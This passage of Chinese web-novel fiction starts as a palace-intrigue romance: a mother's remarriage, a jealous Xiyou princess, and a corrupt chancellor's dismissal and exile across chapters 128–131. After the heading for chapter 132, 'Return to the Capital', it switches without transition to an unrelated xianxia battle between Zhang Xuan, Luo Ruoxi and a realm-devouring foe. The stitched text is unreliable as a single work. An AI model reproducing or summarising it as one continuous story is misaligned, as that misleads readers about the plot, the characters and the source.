柳映雪鼻子一酸,却强忍着没让泪水落下。今日是喜事,她不能让眼泪破坏了娘亲的妆容。 “娘亲,”她深吸一口气,挤出一个明媚的笑容,“该去迎接宾客了。” 鞭炮声响彻云霄,喜庆的红色铺满了整个朱家。朱漆大门上贴着崭新的囍字,门前的石狮子也戴上了大红花。 柳映雪和几个丫鬟正手忙脚乱地为娘亲戴上红盖头。她的手有些颤抖,生怕弄皱了这精致的红绸。 “娘亲,您别动,让我来。”她轻声细语,小心翼翼地整理着红盖头的每一处褶皱。 第一百二十九章 朱氏出嫁 朱夫人坐在梳妆台前,双手交叠放在膝上。“雪儿,娘这一生,从未想过还能再嫁...”她的声音有些哽咽。 柳映雪停下手中的动作,蹲在母亲身前,“娘亲,司马叔父待您一片真心,您值得拥有幸福。” 院外传来一阵马蹄声,丫鬟急匆匆跑进来禀报:“小姐,司马大人到了!” 柳映雪透过窗棂偷瞄,只见司马叔父骑着一匹高头大马,一身大红喜服衬得他越发挺拔。往日严肃的面容上洋溢着掩不住的喜悦,眼角的笑纹都舒展开来。 “这司马叔父,笑得跟个傻子似的。”她暗自嘀咕着,嘴角却不自觉地上扬。想起这些日子司马叔父对母亲的百般呵护,她心里也暖暖的。 迎亲的队伍浩浩荡荡,锣鼓喧天。八抬大轿在喜乐声中缓缓抬起,一路向司马府行去。 后面的嫁妆队伍绵延数里,十几辆马车上堆满了箱笼,每辆车都插着红绸,煞是喜庆。路人纷纷驻足观望,指指点点。 “瞧瞧这朱家大小姐的嫁妆,光是金银首饰就装了好几箱。” “那些绫罗绸缎,听说都是上等货色。” “可不是嘛,司马大人可是出了大价钱下聘的。” 柳映雪听着周围人的议论,不禁摇头轻笑。她本想给娘亲添置些嫁妆,却被司马叔父严词拒绝。他说这是他该操心的事,一定要让朱氏风风光光地嫁过来。 到了司空府,新人拜堂成亲。红烛高照,香烟缭绕。 柳映雪站在一旁,看着娘亲和司马叔父磕头行礼。娘亲的手微微发抖,司马叔父轻轻扶住她的胳膊,动作温柔得不得了。 宴席一直持续到傍晚,宾客尽欢而散。 夜幕降临,她独自坐在朱家的屋顶上,手里握着一壶酒。月光如水,洒在她微醺的脸上,眼神有些迷离。 “这月亮,和前世看到的可一样?”她仰头望天,自言自语。记忆中的画面渐渐浮现,那些不堪回首的往事像潮水般涌来。 一道修长的身影无声落在她身旁,夜风掀起他的衣袍。 “雪儿,怎么一个人在这喝闷酒?”萧寒瑾的声音带着几分宠溺。 “哎呀,你来啦。”柳映雪转头,醉眼朦胧地看着他,脸颊泛着红晕。 萧寒瑾接过她手中的酒杯,轻轻嗅了嗅,“喝了多少了?” “没多少,就...一壶?”她嘿嘿笑着,说话都有些大舌头。 “调皮。”萧寒瑾轻叹,伸手揉了揉她的发顶,“以后不许再独自饮酒。” “知道啦,管家婆。”她嘟着嘴小声嘀咕,眼神却不自觉地瞟向他。 萧寒瑾失笑,“说谁管家婆?”他的目光柔和,带着说不出的温情。 柳映雪靠在他肩上,眼皮渐渐变重,“我再瞅瞅月亮......”话未说完,已经睡熟。 萧寒瑾低头看着怀中的人儿,眸中满是温柔。他轻轻将她抱起,稳稳落在院中。月光下,她的睡颜恬静美好,让人不忍打扰。 绿风适时送来醒酒汤,“王爷,小姐这是...醉了?” “嗯。”萧寒瑾小心扶起她,将醒酒汤一点点喂下。 柳映雪迷迷糊糊地喝完,又沉沉睡去。萧寒瑾为她掖好被角,站在床边看了许久才离开。 与此同时,四贡院。 “砰!”一声巨响,茶盏碎了一地。 司微澜正在大发雷霆,屋内一片狼藉。案几上的奏折散落一地,墨汁泼洒在地毯上。 “幽冥阁竟然被灭了?”她咬牙切齿,眼中闪烁着阴冷的光芒,“萧寒瑾,你到底在搞什么鬼?” 青珑战战兢兢地站在一旁,不敢抬头,“公主,这几日摄政王府都说王爷不在......” “不在?”司微澜冷笑,声音里带着刺骨的寒意,“肯定是去找柳映雪了?” “这...奴婢不知。”青珑的声音越来越小。 “废物!”司微澜抄起茶盏砸了过去,青珑堪堪躲过,瓷片擦着她的脸颊飞过。 “给我查!查清楚他们在哪!”司微澜咬着牙,指节捏得发白。 青珑连连应是,退出了房间。 司微澜站在窗前,月光照在她扭曲的面容上。她盯着远处摄政王府的方向,眼中闪着狠厉。 “萧寒瑾,你以为这样就能护住她?”她冷笑,“我倒要看看,你能护她到几时!” 司徽风推开四贡院的大门,映入眼帘的是一片狼藉。 碎瓷片散落一地,茶水在地毯上晕染出深色的痕迹,几个蒲团东倒西歪地躺在角落。空气中弥漫着一股浓郁的茶香,混杂着淡淡的檀香,让人不由得皱眉。 他的目光落在了站在窗边的司微澜身上。她还保持着刚刚摔东西的姿势,纤细的手指微微颤抖,显然是气得不轻。阳光透过窗棂洒在她的侧脸上,映出一张带着怒意的俏脸。 “皇妹!”司徽风沉声喝道。 司微澜充耳不闻,继续盯着窗外的庭院。院中的海棠开得正盛,粉白的花瓣随风飘落,却衬得她心中更添几分烦躁。 “这里是四贡院,不是你的寝宫。”司徽风压抑着怒火,“你这般任性妄为,若是传出去,岂不是让人笑话我西幽国的公主连基本的涵养都没有?” 宫女二棠低着头站在一旁,眼观鼻鼻观心,仿佛对这样的场面早已习以为常。她的手指不自觉地绞着衣角,显然是在为自家主子的行为感到担忧。 “还不快收拾!”司徽风冷声吩咐道。 二棠和青珑立刻行动起来,动作娴熟得令人心惊。她们小心翼翼地捡起地上的碎片,擦拭着被茶水浸湿的地毯,整理着歪倒的蒲团。显然,这样的场面她们已经处理过太多次。 “二皇兄!”司微澜终于转过身,眼中还带着怒火,“那摄政王根本就不在府中!他是在故意躲着我!” 她的声音带着几分委屈和不甘,像是被人欺负了的小兽,却又带着一股倔强。 司徽风在主位上坐下,端起茶杯轻啜一口。茶水已经凉了,带着一丝苦涩。“就算他在府中,你又能如何?还不是一样见不到他?” “我不甘心!”司微澜咬牙切齿,“他凭什么这样对我?我可是西幽国的公主!” 第一百三十章 柳丞相被贬 她的手紧紧攥着衣袖,指节泛白。那张精致的小脸上写满了不甘和愤怒,眼中似乎还带着一丝泪光。 “说说吧,”司徽风放下茶杯,目光如炬地盯着妹妹,“幽冥阁的事情,是不是你做的?” 这句话一出,屋内的气氛骤然凝固。连正在收拾的宫女们都不由得停下了手中的动作,偷偷看向自家主子。 司微澜的眼神闪烁了一下,那一瞬间的慌乱虽然很快就被掩饰过去,却还是被司徽风捕捉到了。 这一瞬间的犹豫,已经说明了一切。 “糊涂!”司徽风重重地拍了下桌子,茶杯被震得跳了一下,“你可知道现在已经有人在暗中调查此事?我虽然挡住了一些风声,但若是让摄政王查到你头上,后果不堪设想!” “不会的,”司微澜强自镇定,但声音里却带着一丝不易察觉的颤抖,“青珑做事向来干净利落,不会留下任何痕迹。” 青珑听到这话,不由得低下头。 “你太天真了,”司徽风摇头,语气中带着无奈和担忧,“萧寒瑾此人心狠手辣,对敌人从不手软。你现在就在他的地盘上,若是被他抓到把柄,你觉得他会放过你吗?” 司微澜不以为然地撇了撇嘴,转而问道:“二皇兄,你不是去查那把赤凰剑了吗?可有线索?” 提到赤凰剑,司徽风的眉头皱得更紧了。他站起身,在屋内来回踱步,“没有,我派人搜遍了柳映雪的清溪居,除了那把平常的剑,什么都没找到。” “那女人一直养病在床,怎么可能会有什么绝世武功?”司微澜冷笑,“二皇兄还是另寻他路吧,毕竟我们在青云国的时间不多了。” 司徽风走到窗前,看着院中飘落的花瓣,若有所思,“柳映雪这条线索,我还是要继续查下去。那把剑对我们太重要了。” “二皇兄何不试探一番?”司微澜走到司徽风身边,压低声音道,“幽冥阁那些杀手都死了,谁知道是怎么回事?说不定就是那把赤凰剑呢?” 司徽风陷入沉思。窗外的风吹动着树枝,发出沙沙的响声。妹妹说得不无道理,柳映雪离开京都城后的行踪成谜,谁也说不准她是否带着那把剑。 司微澜看着陷入思索的二皇兄,嘴角勾起一抹冷笑。她转身走到桌前,随手拿起一块点心咬了一口,却觉得索然无味。 三皇子府中。 书房内,檀香袅袅,几案上的茶水还冒着热气。萧生玉放下手中的密报,眼中闪着精光,“三哥,我查到一些有趣的消息。” “说。”三皇子正在批阅奏折,头也不抬地应道。 “柳映雪前些日子持摄政王府的令牌出城了,而且是在夜里。”萧生玉端起茶杯,轻轻吹了吹,“更有意思的是,那天幽冥阁的人也出城了。” 三皇子的手顿了一下,抬起头看向萧生玉,“你的意思是......” “幽冥阁被灭,手法干净利落,除了九皇叔,我想不出还有谁有这样的能力。”萧生玉放下茶杯,眼中带着笑意,“而且,那把赤凰剑的传说,恐怕也不是空穴来风。” “那西幽国的公主......”三皇子若有所思。 “正是个好机会,”萧生玉笑道,“她对柳映雪早有不满,不如让她去试探一番?我们只需要坐等结果就好。” 三皇子点头,“坐山观虎斗,倒是个好主意。”他站起身,走到窗前,看着远处的宫墙,“只是不知道,这场戏最后会是什么结局。” 夜色渐深,宫灯如豆。明德殿内,皇上将手中奏折重重摔在龙案上,茶盏随之震颤。 “好个柳丞相!朕如此信任他,他竟敢结党营私,中饱私囊!”皇上怒气冲天,龙案上的奏折散落一地。 司公公连忙上前,弯腰拾起散落的奏折:“皇上息怒,龙体要紧啊。这些年柳丞相确实得意忘形,但眼下最重要的是...” “住口!”皇上猛地站起,龙袍翻飞,“你可知这些折子上写的是什么?私吞赈灾银两、贪墨军饷、结党营私!朕对他委以重任,他就是这样回报朕的?” 殿内一时寂静,只余烛火摇曳。司公公跪伏在地,额头紧贴冰凉的地砖。 皇上踱步至窗前,夜风掀起窗帘,吹散了几分怒气。他转身,目光如炬:“传暗枭!” 暗处,一道黑影闪现。 “去查这些罪证,不得有误!” 暗枭领命而去,殿内重归寂静。司公公见状,忙让人取来新进贡的龙井。 茶香渐渐在殿内弥漫,司公公小心翼翼地递上茶盏:“皇上请用茶,消消气。这是云州新贡的明前龙井,茶香清雅。” 皇上接过茶盏,轻啜一口。茶水的温度恰到好处,确实有几分安神之效。 萧生玉与三皇子正在碧云轩密谈。 “三哥,西幽国公主这般大张旗鼓,父皇岂会不知?”萧生玉指尖轻叩桌面,目光若有所思。 三皇子端起茶盏,茶水映出他微微上扬的嘴角:“父皇这是在静观其变。九皇叔那边,怕是要热闹了。” “那柳大小姐...”萧生玉话未说完,三皇子已会意。 “柳映雪若是折在其中,也无人能为她出头。”三皇子从袖中取出一本册子,“更何况,柳丞相如今自身难保。” 萧生玉接过册子,纸页翻动间,眉头越皱越深:“这些罪证可当真?若是有人栽赃...” “秦帝师给我的只是一部分。”三皇子冷笑,“柳丞相这些年得意忘形,得罪了不少人。如今抓住把柄,那些人怎会放过?” 碧云轩外,月色正好。阁内烛影摇曳,照出两人交谈时的神情变化。 “若柳丞相倒台,新任丞相会是谁?”萧生玉放下册子,指尖无意识地摩挲茶盏边缘。 三皇子摇头,目光望向窗外:“父皇心思难测。不过有一点可以确定,必然是能与秦帝师相抗衡之人。” 夜色渐深,明德殿内,暗枭已经回禀。 “回皇上,罪证确凿。柳丞相府上搜出账册,与折子上所言分毫不差。” 皇上闭目沉思片刻,睁眼时已是决然:“拟旨!” 司公公立即取来朱笔与黄绢。皇上提笔疾书,很快,两道圣旨出炉。 第一百三十一章 抄家流放 第一道,革除柳丞相职务,整个府邸被贬到边陲。同时取消柳书兰与三皇子的婚约。 第二道,任命御史孙毅为新任丞相。 消息传出,朝野震动。 与此同时,秦帝师府中。 “大人,柳丞相已倒,孙毅新任丞相,这...”下属欲言又止。 秦帝师放下手中书卷,目光深远:“一个柳丞相倒下,自然会有新的柳丞相站起。朝堂之上,从来就不缺这样的人。” “那孙毅...” “且看他如何选择。”秦帝师淡淡道,“若是识相,自然平安无事。若是不识相...”他没有说完,但意思已经很明显。 朝堂之上,一纸圣旨,惊动四方。 殿内烛火摇曳,映照着文武百官凝重的面容。皇帝端坐龙椅,目光在殿中众臣身上逡巡,最终停留在孙毅身上。这位御史大夫为官清廉,能力出众,更重要的是与秦帝师不睦。若是日后这位新任丞相不知分寸,那便让他步上柳昌泰的后尘。 “传旨。”皇帝淡淡开口。 司公公接过圣旨,脚步轻快地离开大殿。身后群臣窃窃私语,有人欢喜,有人忧愁,更多的是不安与惶恐。 丞相府内,司公公的声音在庭院中回荡。 “奉天承运皇帝诏曰,柳昌泰身为朝廷重臣,不思报国,结党营私,贪赃枉法,罪证确凿。着即革去丞相职务,全府流放西北边陲......” 府中下人面面相觑,有的已经开始抹泪。堂堂丞相,说革职就革职,还要全府流放边疆。往日趾高气扬的管事们此刻都低着头,不敢与人对视。 柳书兰站在廊下,双腿发软,扶着柱子才勉强站稳。她不敢相信,自己不仅与三皇子的婚约取消,现在还成了罪臣之女。往日那些巴结讨好的闺中密友,恐怕此刻已经在想着如何撇清关系。 “这不可能......”柳书兰喃喃自语,眼中泛起泪光。 躺在软榻上的柳昌泰,眼珠子几乎要瞪出眼眶。他想说话,却只能发出“呜呜”的声音。半个月前的那场中风,让这位权倾朝野的丞相失去了言语能力。 司公公施施然走到榻前,看着这位昔日的同僚,心中不免唏嘘。“柳大人,皇上已经亲自过问此事。念在你往日功劳,才没有问斩,已是天恩浩荡。” 柳昌泰闭上眼睛,泪水从眼角滑落。他想起当初与秦帝师的明争暗斗,想起自己暗中支持二皇子,想起那些见不得光的勾当。如今,一切都成了泡影。 “司公公!”柳书兰突然冲上前,眼中闪烁着疯狂的光芒,“那柳映雪呢?她也是丞相府的成员,凭什么她能独善其身?” “柳二小姐,你莫不是忘了?断亲文书早已在衙门备案。”司公公冷笑一声,“况且,柳大小姐如今已是司马府的人。” “不可能!她是丞相府的正牌女儿,她也该被流放,她的婚约也该取消!”柳书兰歇斯底里地喊道,声音中带着浓浓的不甘与嫉恨。 老太君听到这里,眼前一黑,一声不吭地倒了下去。丫鬟们手忙脚乱地将她扶起。 司氏呆立在原地,曾经风头无两的丞相夫人,如今沦为罪臣之妇。她看着躺在榻上的丞相,心中懊悔万分。早知今日,当初就该劝着他收敛些。 高氏更是不甘,她刚刚当上二夫人没多久,正准备大展拳脚,没想到转眼间就要被流放。看向柳昌泰的目光中,满是怨恨。若不是他野心太大,自己又怎会落得如此下场。 官兵已经进府,催促众人收拾行装。院子里一片混乱,有人哭喊,有人叹息,更多的是仓皇逃窜的脚步声。 几个姨娘趁乱从后门溜走,生怕被连累。老奴司叔手脚麻利地收拾细软,又安排马车,将柳昌泰和晕倒的老太君安置妥当。 柳明轩哭得上气不接下气,他年纪尚小,还不明白发生了什么。柳逸铭临走前看了眼府门上的匾额,眼中没有丝毫不舍,反而带着几分解脱。 与此同时,孙府内一片欢腾。 “孙大人,恭喜了。”司公公笑得见牙不见眼,“皇上看重你的才能,这丞相之位,非你莫属。” 孙毅却心事重重,把司公公请到偏厅详问。得知柳昌泰的罪证后,他心中一凛。原来是秦帝师设下的局,柳昌泰竟然毫无察觉就踩了进去。 “感谢司公公的指教。”孙毅拱手,“日后还请多多关照。” “孙大人客气,皇上最喜忠心之人。”司公公意有所指,“只要孙大人安分守己,自然无虞。” 管家会意,立刻奉上银票。司公公喜笑颜开地告辞,临走前又意味深长地看了孙毅一眼。 孙毅立即召集家人,“日后行事要谨慎,切记低调。柳丞相的下场,就是前车之鉴。” 消息如风般传遍京都城,震惊了满朝文武。众臣纷纷打听内情,得知真相后,不少人都收敛了心思。 秦府内,秦帝师正在品茶。 “大人,柳府的人已经启程了。”下人恭敬禀报。 秦帝师放下茶盏。“让人盯着点,别让他们半路耍花样。” “是。”下人退下。 秦帝师站起身,走到窗前。院子里,秦玉华正在教导丫鬟插花。她神情专注,仿佛对府外发生的一切毫不知情。 “这丫头,倒是沉得住气。”秦帝师轻声自语。 柳府的马车缓缓驶出城门。司氏掀开车帘,泪眼朦胧地望着渐渐远去的城墙。十几年的荣华富贵,一朝成空。 柳书兰蜷缩在角落,眼中满是怨毒。她暗暗发誓,总有一天要让柳映雪付出代价。 马车渐行渐远,扬起的尘土遮住了夕阳。这一日,注定被载入史册。京都城内,已经开始流传起柳丞相倒台的种种传言。有人惋惜,有人幸灾乐祸,更多的人在为自己的前程担忧。 萧寒瑾早已得到消息,柳丞相一家被流放边疆。马车内,他望着窗外飘落的细雨,眸光微动。这个结果在他的预料之中,只是孙毅被提拔为丞相,倒是让他略感意外。 那人向来低调,为人圆滑,却与秦帝师不和。思索片刻,萧寒瑾也不再多想。他的目光落在窗外与朱雅芸、司马澄告别的雪儿身上,唇角不自觉地扬起一抹温柔的弧度。 第一百三十二章 回京 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 